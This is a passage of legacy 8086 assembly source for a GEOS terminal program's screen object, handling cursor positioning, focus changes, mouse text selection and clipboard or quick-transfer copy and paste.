endOfLoop:
pop si, di ; *ds:si<- screenObject
inc di ; es:di <- next argArray arg
loop setAttrLoop
ret
ScreenGraphicsOn endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenMacro[1,2,3,4]
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Execute user defined macros
CALLED BY: MSG_SCR_MACRO_[1,2,3,4]
PASS: ds:*si - screen instance data
es - dgroup
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 12/11/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenMacro1 method ScreenClass, MSG_SCR_MACRO_1
ret
ScreenMacro1 endm
ScreenMacro2 method ScreenClass, MSG_SCR_MACRO_2
ret
ScreenMacro2 endm
ScreenMacro3 method ScreenClass, MSG_SCR_MACRO_3
ret
ScreenMacro3 endm
ScreenMacro4 method ScreenClass, MSG_SCR_MACRO_4
ret
ScreenMacro4 endm
ScreenMacro5 method ScreenClass, MSG_SCR_MACRO_5
ret
ScreenMacro5 endm
ScreenMacro6 method ScreenClass, MSG_SCR_MACRO_6
ret
ScreenMacro6 endm
ScreenMacro7 method ScreenClass, MSG_SCR_MACRO_7
ret
ScreenMacro7 endm
ScreenMacro8 method ScreenClass, MSG_SCR_MACRO_8
ret
ScreenMacro8 endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenAutoLinefeed
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Toggle Auto Linefeed option.
CALLED BY: MSG_SCR_AUTO_LINEFEED
PASS: ds:*si - screen instance data
es - dgroup
cx - selected booleans
bp - modified booleans
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 01/19/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenAutoLinefeedAndWrap method ScreenClass,
MSG_SCR_AUTO_LINEFEED_AND_WRAP
mov es:[termOptions], cx
mov si, ds:[si] ;deref to instance data
test cx, mask LAW_WRAP
jnz wrapSet
mov ds:[si][SI_autoWrap], FALSE
jmp short skip
wrapSet:
mov ds:[si][SI_autoWrap], TRUE
skip:
test cx, mask LAW_LINEFEED
jnz feedSet
mov ds:[si][SI_autoLinefeed], FALSE
jmp short exit
feedSet:
mov ds:[si][SI_autoLinefeed], TRUE
exit:
ret
ScreenAutoLinefeedAndWrap endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSetRow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set #lines of text displayed
CALLED BY: MSG_SCR_SET_ROW
PASS: ds:*si - screen instance data
es - dgroup
ch - row position
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 01/22/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSetRow method ScreenClass, MSG_SCR_SET_ROW
;
; CalcNumber may change 0 to -1.
;
cmp ch, MAX_LINES
jb setRow
cmp ch, -1 ; is it first row? \E[0H
je setDefRow
mov ch, MAX_LINES - 1 ; max line#
jmp setRow
setDefRow:
clr ch ; set default row
setRow:
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
mov {byte} ds:[si][SI_curLine], ch
clr {byte}ds:[si][SI_curChar] ;default col is 1 if not
;specified in this case
call EraseCursor ;erase the old cursor
call DrawCursor
ret
ScreenSetRow endm
ScreenSetCol method ScreenClass, MSG_SCR_SET_COL
;
; CalcNumber may change 0 to -1.
;
cmp ch, MAX_LINE_CHARS
jb setCol
cmp ch, -1 ; is it default col? \E[;0H?
jne setDefCol
clr ch ;set default col.
jmp setCol
setDefCol:
mov ch, MAX_LINE_CHARS - 1
setCol:
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
NCUR < mov {byte} ds:[si][SI_curChar], ch >
CUR < mov {byte} ds:[si][SI_curPos], ch >
CUR < call GetCurCharFromCurPos >
clr {byte}ds:[si][SI_curLine] ;default row is 1 if not
;specified in this case
call EraseCursor ;erase the old cursor
call DrawCursor
ret
ScreenSetCol endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSetXN
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Either clear or set flag that checks if Newlines at end of line
should be ignored or not.
CALLED BY: MSG_SCR_SET_XN
PASS: ds:*si - screen instance data
es - dgroup
dh - value to set flag with (TRUE/FALSE)
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 01/26/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSetXN method ScreenClass, MSG_SCR_SET_XN
mov si, ds:[si] ;deref to instance data
mov ds:[si][SI_ignoreNL], dh
ret
ScreenSetXN endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenSetTab
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: MSG_SCR_SET_TAB
PASS: ds:*si - screen instance data
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 01/30/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenSetTab method ScreenClass, MSG_SCR_SET_TAB
ret
ScreenSetTab endm
ScreenClearTab method ScreenClass, MSG_SCR_CLEAR_TAB
ret
ScreenClearTab endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenLostFocusExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: MSG_META_LOST_FOCUS_EXCL
PASS: ds:*si - screen instance data
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 01/30/90 Initial version
martin 8/18/93 Added SendTextFocusNotification
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenLostFocusExcl method dynamic ScreenClass, MSG_META_LOST_FOCUS_EXCL
.enter
push si
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
cmp di, BOGUS_VAL ;if dorked forget this
je exit
call CheckCursorInSelect ;if cursor in select region
jc 10$ ; don't dork it
call EraseCursor
10$:
mov ds:[si][SI_gotFocus], FALSE
call DrawSelectCursor ;unselect the text just
exit:
pop si
clr bp
call SendScreenFocusNotification
.leave
ret
ScreenLostFocusExcl endm
ScreenLostSysFocusExcl method dynamic ScreenClass, MSG_META_LOST_SYS_FOCUS_EXCL
if USE_FEP
tst es:[fepStrategy].segment
jz noFep
;
; Call the FEP
;
sub sp, size FepCallBackInfo
mov bp, sp
mov cx, segment ScreenFepCallBack
mov dx, offset ScreenFepCallBack
movdw ss:[bp].FCBI_function, cxdx
mov cx, ds:[LMBH_handle]
movdw ss:[bp].FCBI_data, cxsi
movdw cxdx, ssbp
mov di, DR_FEP_LOST_FOCUS
call es:[fepStrategy]
add sp, size FepCallBackInfo
noFep:
endif
ret
ScreenLostSysFocusExcl endm
ScreenGainFocusExcl method dynamic ScreenClass, MSG_META_GAINED_FOCUS_EXCL
.enter
push si
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
call CheckCursorInSelect ;if cursor in select region
jc 10$ ; don't dork it
call EraseCursor
10$:
mov ds:[si][SI_gotFocus], TRUE
call DrawSelectCursor
pop si
mov bp, mask TFF_EDITABLE_TEXT_OBJECT_HAS_FOCUS
call SendScreenFocusNotification
.leave
ret
ScreenGainFocusExcl endm
ScreenGainedSysFocusExcl method dynamic ScreenClass, MSG_META_GAINED_SYS_FOCUS_EXCL
if USE_FEP
tst es:[fepStrategy].segment
jz noFep
;
; Call the FEP
;
mov ax, segment ScreenFepCallBack
mov bx, offset ScreenFepCallBack
mov cx, ds:[LMBH_handle]
mov dx, si
mov di, DR_FEP_GAIN_FOCUS
call es:[fepStrategy]
noFep:
endif
ret
ScreenGainedSysFocusExcl endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendScreenFocusNotification
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sends the GWNT_EDITABLE_TEXT_OBJECT_HAS_FOCUS notification.
CALLED BY: INTERNAL
PASS: bp - data to send out
*ds:si - ink obj
RETURN:
DESTROYED: ax, bx, cx, dx, bp, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 8/18/93 Initial revision (copied from text
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendScreenFocusNotification proc far uses si
class ScreenClass
.enter
; Check to see if the object is run by the UI thread - if so, set the
; appropriate bit.
clr bx
call GeodeGetAppObject
call ObjTestIfObjBlockRunByCurThread
jnz notRunByUIThread
ornf bp, mask TFF_OBJECT_RUN_BY_UI_THREAD
notRunByUIThread:
; Record event to send to ink controller
mov ax, MSG_META_NOTIFY
mov cx, MANUFACTURER_ID_GEOWORKS
mov dx, GWNT_EDITABLE_TEXT_OBJECT_HAS_FOCUS
mov di, mask MF_RECORD
call ObjMessage
mov ax, mask GCNLSF_SET_STATUS
test bp, mask TFF_EDITABLE_TEXT_OBJECT_HAS_FOCUS
jnz 10$
ornf ax, mask GCNLSF_IGNORE_IF_STATUS_TRANSITIONING
10$:
; Send it to the appropriate gcn list
mov dx, size GCNListMessageParams
sub sp, dx
mov bp, sp
mov ss:[bp].GCNLMP_ID.GCNLT_manuf, MANUFACTURER_ID_GEOWORKS
mov ss:[bp].GCNLMP_ID.GCNLT_type, GAGCNLT_NOTIFY_FOCUS_TEXT_OBJECT
clr ss:[bp].GCNLMP_block
mov ss:[bp].GCNLMP_event, di
mov ss:[bp].GCNLMP_flags, ax
; If a UserDoDialog is running, the process thread could be blocked, so
; send this directly to the app object.
mov ax, MSG_GEN_APPLICATION_CHECK_IF_RUNNING_USER_DO_DIALOG
push cx, dx, bp
call UserCallApplication
pop cx, dx, bp
tst ax ;If a UserDoDialog is active, send
jnz sendDirectly ; this directly on.
mov ax, MSG_GEN_PROCESS_SEND_TO_APP_GCN_LIST
call GeodeGetProcessHandle
common:
mov di, mask MF_FIXUP_DS or mask MF_STACK
call ObjMessage
add sp, dx
.leave
ret
sendDirectly:
clr bx
call GeodeGetAppObject
mov ax, MSG_META_GCN_LIST_SEND
jmp common
SendScreenFocusNotification endp
if not _CHAR_SET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenLostTargetWinExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Visibily unselect the text because we lost the target excl
CALLED BY: MSG_META_LOST_TARGET_EXCL
PASS: ds:*si - screen instance data
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 03/15/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenLostTargetWinExcl method ScreenClass, MSG_META_LOST_TARGET_EXCL
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
mov cx, ss:[selEndLine] ;restore endline ptr
call UnHighlightArea ;unselect the area
mov ss:[selEndLine], cx ;restore endline ptr
call CheckCursorInSelect ;if cursor in select region
jnc exit ; then its been erased
mov ds:[si][SI_cursorDrawn], FALSE ; so redraw it
call DrawSelectCursor ;
exit:
ret
ScreenLostTargetWinExcl endm
ScreenGainTargetWinExcl method ScreenClass, MSG_META_GAINED_TARGET_EXCL
tst ss:[textSelected] ;if no area to re-select
je exit ;then bail
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
mov cx, ss:[selEndCol] ;pass the area to select
mov dx, ss:[selEndLine]
mov ax, ss:[selStartCol] ;nuke the old selected area
mov ss:[selEndCol], ax
mov ax, ss:[selStartLine]
mov ss:[selEndLine], ax
call AdjustSelection ;select the new area
exit:
ret
ScreenGainTargetWinExcl endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenStartSelect
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle button presses
CALLED BY: MSG_META_START_SELECT
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_META_START_SELECT
cx - x position (document coord)
dx - y position (document coord)
bp - button info
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
Unhighlight any selected area
If was not a double click then
Find nearest valid position to the press.
Position cursor.
else if was a double click then
Find nearest character position to press.
Find the word around the click.
Set selection to surround word.
endif
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 02/22/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenStartSelect method ScreenClass, MSG_META_START_SELECT
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
call UnSelectArea ;unselect text
call ConvertToTextCoords ;
mov ss:[selStartCol], cx ;save select start position
mov ss:[selEndCol], cx ;save select start position
mov ss:[selStartLine], dx ;
mov ss:[selEndLine], dx ;
test bp, mask BI_DOUBLE_PRESS ;
jz quit ;
inc ss:[dblClickCtr]
cmp ss:[dblClickCtr], CLICK_SELECT_WORD
je selWord
cmp ss:[dblClickCtr], CLICK_SELECT_LINE
jne done
call SelectLine ;select the current Line
jmp short done
selWord:
call SelectWord ;is there a word at mouse pos
jmp short done
quit:
clr ss:[dblClickCtr] ;reset ctr for consecutive
done:
mov ax, mask MRF_PROCESSED ;flag the mouse event handled
ret
ScreenStartSelect endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenDragSelect
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle mouse dragging
CALLED BY: MSG_META_DRAG_SELECT
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_META_DRAG_SELECT
cx - x position
dx - y position
bp - button info
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
Find the nearest coordinate for drag select
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 02/22/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenDragSelect method ScreenClass, MSG_META_DRAG_SELECT
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
mov ss:[inDragSelect], TRUE ;
call ConvertToTextCoords ;
call AdjustSelection ;
mov ax, mask MRF_PROCESSED ;flag the mouse event handled
ret
ScreenDragSelect endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenPtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle mouse dragging
CALLED BY: MSG_META_PTR
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_META_PTR
cx - x position
dx - y position
bp low - button info
bp high - UIFunctionsActive
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
Make sure that text has been selected.
This means that lastAddr contains the address of the last
mouse position and lastPos contains the true position (for selecting)
of that address.
Since drag selecting can only mean inverting between the last
position and the current one the basic selecting algorithm looks like
this:
bx <- address of current drag position.
cx, dx <- new true position.
if (new drag address != old drag address) {
TextInvRangeCoords( new true position, old true position );
}
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 03/06/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenPtr method ScreenClass, MSG_META_PTR
tst ss:[inDragSelect] ; drag selection?
jnz dragSelect ; yes
test bp, mask UIFA_MOVE_COPY shl 8 ; quick-transfer active?
jz exit ; nope
call ClipboardGetQuickTransferStatus ; actually in progress?
jz exit ; nope
;no more MSG_META_VIS_ENTER/MSG_META_VIS_LEAVE - brianc 4/6/92
; ; are we in the view?
; test ds:[bx].SI_intFlags, mask SIF_IN_VIEW
; jz exit ; no, skip feedback
;
; quick-transfer is active, provide feedback
;
call CheckForTextItem ; check if CIF_TEXT supported
;
; assume so, do copy (if we are the source, we do copy because we
; can't delete source text; if some other text object is the source,
; default behavior is to do copy because source and destination are
; different)
; (move override is handled in ClipboardSetQuickTransferFeedback)
;
mov ax, CQTF_COPY ; assume so
jnc haveCursor ; yes
mov ax, CQTF_CLEAR ; else, clear copy cursor
haveCursor:
call ClipboardSetQuickTransferFeedback ; pass bp
ornf ds:[bx].SI_intFlags, mask SIF_FEEDBACK_ON
jmp short exit
dragSelect:
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
call ConvertToTextCoords ;
call AdjustSelection
call CheckCursorErased ;check if adjusting the select
exit: ; region erased the cursor
;flag the mouse event handled
mov ax, mask MRF_PROCESSED or mask MRF_CLEAR_POINTER_IMAGE
ret
ScreenPtr endm
endif ; if !_CHAR_SET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckForTextItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: check if current quick-transfer item supports CIF_TEXT format
CALLED BY: ScreenPtr
PASS: nothing
RETURN: carry clear if CIF_TEXT supported
carry set if not
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 02/02/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckForTextItem proc near
uses bx, cx, di, si, bp, es
.enter
mov bp, mask CIF_QUICK
call ClipboardQueryItem ; bp = # formats, cx:dx = owner
; bx:ax = VM file:VM block
tst bp
stc ; in case no item
jz done ; no item (carry set)
mov cx, MANUFACTURER_ID_GEOWORKS
mov dx, CIF_TEXT
call ClipboardTestItemFormat ; is CIF_TEXT there?
; (carry clear if so)
done:
pushf ; save result flag
call ClipboardDoneWithItem
popf ; retreive result flag
.leave
ret
CheckForTextItem endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenEndSelect
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle mouse dragging
CALLED BY: MSG_META_END_SELECT
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_META_END_SELECT
cx - x position
dx - y position
bp - button info
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 02/22/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenEndSelect method ScreenClass, MSG_META_END_SELECT
mov si, ds:[si] ;deref to instance data
mov di, ds:[si][SI_gState] ;get GState
mov ss:[inDragSelect], FALSE ;
call CheckSelectTopBottom ;check select region pointers
call CheckCursorErased ;check if cursor got erased
mov ax, mask MRF_PROCESSED ;flag the mouse event handled
ret
ScreenEndSelect endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenEndMoveCopy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle when selected text object scrap is dropped on us
CALLED BY: MSG_META_END_MOVE_COPY
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_META_END_MOVE_COPY
cx - x position
dx - y position
bp - button info
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 02/22/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenEndMoveCopy method ScreenClass, MSG_META_END_MOVE_COPY
mov cx, mask CIF_QUICK
call PasteText ; pass bp
; returns ax = ClipboardQuickNotifyFlags
mov bp, ax
call ClipboardEndQuickTransfer ; stop quick transfer
mov ax, mask MRF_PROCESSED ;flag the mouse event handled
ret
ScreenEndMoveCopy endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenStartCopy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Start a quick copy
CALLED BY: MSG_META_START_MOVE_COPY
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_META_START_MOVE_COPY
cx - x mouse position
dx - y mouse position
bp low - UIButtonFlags
bp high - UIFunctionsActive
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 02/22/90 Initial version
ted 12/1/92 MakeTransferItem doesn't return errors
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenStartCopy method ScreenClass, MSG_META_START_MOVE_COPY
test bp, mask UIFA_MOVE_COPY shl 8 ;is this a move/copy event
jz exitJMP
test bp, mask UIFA_MOVE shl 8 ;ignore if this is a move
LONG jnz noCopy
tst ss:[textSelected] ;exit if no text selected
jz exitJMP
push si ;save ptr to instance data
mov si, ds:[si]
call ConvertToTextCoords
call CheckCoordInSelect ; C set if in selected region
pop si ;restore ptr to object data
jnc noCopy
if _TELNET
jmp 10$
else
cmp ss:[serialPort], NO_PORT ;don't start copy if no port
jne 10$ ; opened
segmov ds, ss, bp
clr cx ;flag that String resouce should
mov dx, offset pasteErr ; be stuffed into cx
mov bp, ERR_NO_COM
CallMod DisplayErrorMessage
endif ; !_TELNET
exitJMP:
jmp exit
10$:
;
;start the UI part of the quick move
;
push si ; save instance handle
mov si, mask CQTF_COPY_ONLY ;set for copy preference
mov ax, CQTF_COPY ; set initial cursor
call ClipboardStartQuickTransfer
pop si ; retrieve instance handle
jc noCopy ; if quick-transfer already
; in progress, abort
mov bx, ds:[si] ; deref. instance handle
ornf ds:[bx].SI_intFlags, mask SIF_FEEDBACK_ON
;
; create and register quick-transfer item
;
call MakeTransferItem ;ax = VM block, bx = VM file
mov ss:[inCopy], TRUE ;flag registering COPY item
mov bp, mask CIF_QUICK ;not RAW, QUICK
call ClipboardRegisterItem
jc error ; handle error
;
; successfully started quick-transfer, allow mouse to roam to all
; quick-transfer destinations
;
GetResourceHandleNS TermView, bx
mov si, offset TermView
mov ax, MSG_GEN_VIEW_ALLOW_GLOBAL_TRANSFER
mov di, mask MF_FIXUP_DS
call ObjMessage
jmp short exit
error:
call ScreenStopQuickTransferFeedback ; stop feedback
segmov ds, ss, bp ;we're dorked
mov bp, ERR_NO_MEM_TRANS_OBJ
CallMod DisplayErrorMessage
noCopy:
mov ss:[inCopy], FALSE
exit:
mov ax, mask MRF_PROCESSED ;flag the mouse event handled
ret
ScreenStartCopy endm
;
; needed because View has 'grabWhilePressed' set and grabs on both
; MSG_META_START_MOVE_COPY and MSG_META_DRAG_MOVE_COPY, so we want to make
; sure that it is released
;
ScreenDragMoveCopy method ScreenClass, MSG_META_DRAG_MOVE_COPY
cmp ss:[inCopy], TRUE
jne done
GetResourceHandleNS TermView, bx
mov si, offset TermView
mov ax, MSG_GEN_VIEW_ALLOW_GLOBAL_TRANSFER
mov di, mask MF_FIXUP_DS
call ObjMessage
done:
ret
ScreenDragMoveCopy endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenCopy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send selected text to UI
CALLED BY: MSG_META_CLIPBOARD_COPY
PASS: ds:*si - screen instance data
es - dgroup
ax - MSG_META_CLIPBOARD_COPY
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 03/14/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScreenCut method ScreenClass, MSG_META_CLIPBOARD_CUT
ret
ScreenCut endm
ScreenCopy method ScreenClass, MSG_META_CLIPBOARD_COPY
tst ss:[textSelected] ;exit if no text selected
jz exit ;
call MakeTransferItem ;ax = VM block, bx = VM file
clr bp ;not RAW, not QUICK
call ClipboardRegisterItem
exit:
ret
ScreenCopy endm
ScreenPaste method ScreenClass, MSG_META_CLIPBOARD_PASTE
clr cx ;normal transfer
call PasteText
ret
ScreenPaste endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScreenViewClosingQT
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: handle closing of window, stop drag-selection and
stop quick transfer
CALLED BY: MSG_META_CONTENT_VIEW_CLOSING handler
PASS: ds:*si - screen object
RETURN: nothing
DESTROYED: ax, bx, cx, dx, di, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 10/10/90 Initial version
